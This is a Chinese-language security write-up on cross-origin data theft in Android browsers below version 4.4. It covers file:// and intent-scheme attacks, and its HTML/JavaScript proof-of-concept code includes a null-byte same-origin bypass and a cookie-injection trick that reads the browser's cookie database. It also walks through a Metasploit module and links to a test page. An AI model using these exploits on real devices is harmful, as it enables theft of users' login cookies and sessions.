我們接下來要介紹的這個漏洞,其影響了Android版本4.4以下的自帶瀏覽器和一些其他特定的Android瀏覽器,它允許黑客讀取sqlite格式的cookie數據庫文件,從而竊取cookie。順著這個問題,我們來談一談Android版本4.4以下的跨站數據竊取攻擊。
小科普
Intent Scheme URL攻擊:這種攻擊方式,利用了瀏覽器保護措施的不足,通過瀏覽器作為橋梁間接實現Intend-Based攻擊。相比于普通Intend-Based攻擊,這種方式極具隱蔽性,而且由于惡意代碼隱藏WebPage中,傳統的特征匹配完全不起作用。除此之外,這種攻擊還能直接訪問瀏覽器自身的組件(無論是公開還是私有)和私有文件,比如cookie文件,進而導致用戶機密信息的泄露。
Intent-based攻擊:這種基于intent的安卓攻擊手法很普遍,輕則導致應用程序崩潰,重則可能演變提權漏洞。
攻擊實驗背景介紹
在我研究Stock瀏覽器的事務流程標準時發現,如果讓瀏覽器打開新選項卡并且使用file://協議,就可以通過網頁打開本地文件。當然,這的確不算一個漏洞,但是如果它能在讀取本地文件后,然后把該文件的信息發送到遠程時,那就完全不同了。而且我留意到,這是個Android下瀏覽器的通殺漏洞,且并不僅限于Chrome、Firefox或者Opera等等。
下面的截圖展示了漏洞被補后,權限被禁用,想要從菜單欄打開本地文件會發生的錯誤:
攻擊實驗方案:
為了利用這個漏洞,我們模擬了以下攻擊流程:
1.騙取用戶訪問黑客構造的網站
2.黑客在某頁面設置返回特定頭部內容,使得受害者的瀏覽器自行下載exploit.html
3.受害者瀏覽器會主動打開新選項卡,瀏覽exploit.html
4.exploit.html將讀取本地敏感信息文件,反饋給黑客
為了給這次攻擊構造一個有效的exp,我同某日本安全研究員Haru Sugiyama討論后,他給了我以下的POC:
http://133.242.134.241/firefox/test.html
當你通過Android瀏覽器訪問以上示例頁面時,只要進行一些特定操作,其中的惡意腳本就會影響Firefox(文章首段提到的特定的Android瀏覽器實例)或者Android的自帶瀏覽器,下載惡意代碼到/sdcard/Download/exploit.html,當然前提是sdcard這個目錄確實存在。瀏覽器會自行在新選項卡里打開剛剛下載的惡意文件exploit.html,然后從其他本地文件里讀取內容。實際上,這個攻擊過程并不如我講的這么輕松愉快。在這里我們來做個對比實驗,看看針對Android 2.3.x和Android 4.1.x-4.3進行攻擊的結果區別。
Android 2.3.x觀察報告
實驗中我們使用了Android 2.3的模擬器,很輕松地就通過惡意文件exploit.html讀取到了其他本地文件的內容,這代表該版本系統瀏覽器存在相應的漏洞,允許惡意網站繞過Android瀏覽器同源策略,進行跨域數據竊取。但是,由于Android 2.3.x的使用量大約只占安卓用戶的11.4%,而且正在如winxp一般慢慢地消亡,所以其危害并沒有那么大,Android各版本用戶使用量統計圖如下:
然而Android 4.1.x-4.3雖然并不能直接讀取本地文件,但我們在嘗試了空字節繞過的小技巧后,發現收效甚好,POC如下:
<button onclick="exploit()">Read iframe</button>
<button onclick="window.open('u0000javascript:alert(document.body.innerHTML)','test')">
Try u0000
</button>
<iframe src="file:/default.prop" name="test" style='width:100%;height:200'>
</iframe>
<script>
function exploit()
{
var iframe = document.getElementsByTagName('iframe')[0];
try
{
alert("Try to read local file.");
alert("contentWindow:"+iframe.contentWindow);
alert("document:"+iframe.contentWindow.document);
alert("body:"+iframe.contentWindow.document.body);
alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);
}
catch(e)
{
alert(e);
}
}
</script>
遺憾的是,據CVE-2014-6041所述,該漏洞已經打上補丁,經試驗exp失效。
采用Intent scheme URL進行攻擊
據我們以上研究得出的結論,想通過Android 4.1.x-4.3的瀏覽器進行本地文件讀取是不可行的,因為在這一系列版本中,本地文件不能從任意其他文件里讀取內容。然而,metasploit團隊的Joe Vennix表示,從intent scheme入手就可以輕松地發起攻擊,附上相應文章,以下是文章中的POC:
該攻擊POC的思路是:
受害者保存了包含惡意JS代碼的cookie后,瀏覽器打開儲存該cookie的sqlite數據庫文件時,附在cookie里被注入了的惡意JS代碼會自動執行,從而竊取數據庫文件中存在的其他cookie。基于這個POC,黑客可以嘗試讀取整個webviewCookieChromium.db文件。
<!doctype html>
<html>
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
<body style='width:100%;font-size: 16px;'>
<a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'>
Redirecting… To continue, tap and hold here, then choose "Open in a new tab"
</a>
<script>
document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';
</script>
</body>
</html>
Joe實現了一個Metasploit模塊,可以自動化竊取cookie然后反饋給黑客,即使該數據庫文件采用了httponly技術,這種攻擊手段依然是危害巨大的。
Metasploit模塊實現步驟:
下面的截圖讓你明白如何利用該模塊獲取cookie:
第一步:設置模塊
第二步:竊取cookie
你做完了這步,就可以泡杯咖啡,坐等魚兒上鉤了。
第三步:坐等cookie
補丁相關信息:
在2014年2月發布了補丁,其對數據庫文件儲存目錄的權限進行了加固,但是因補丁策略限制,它并沒有照顧到大部分廠商。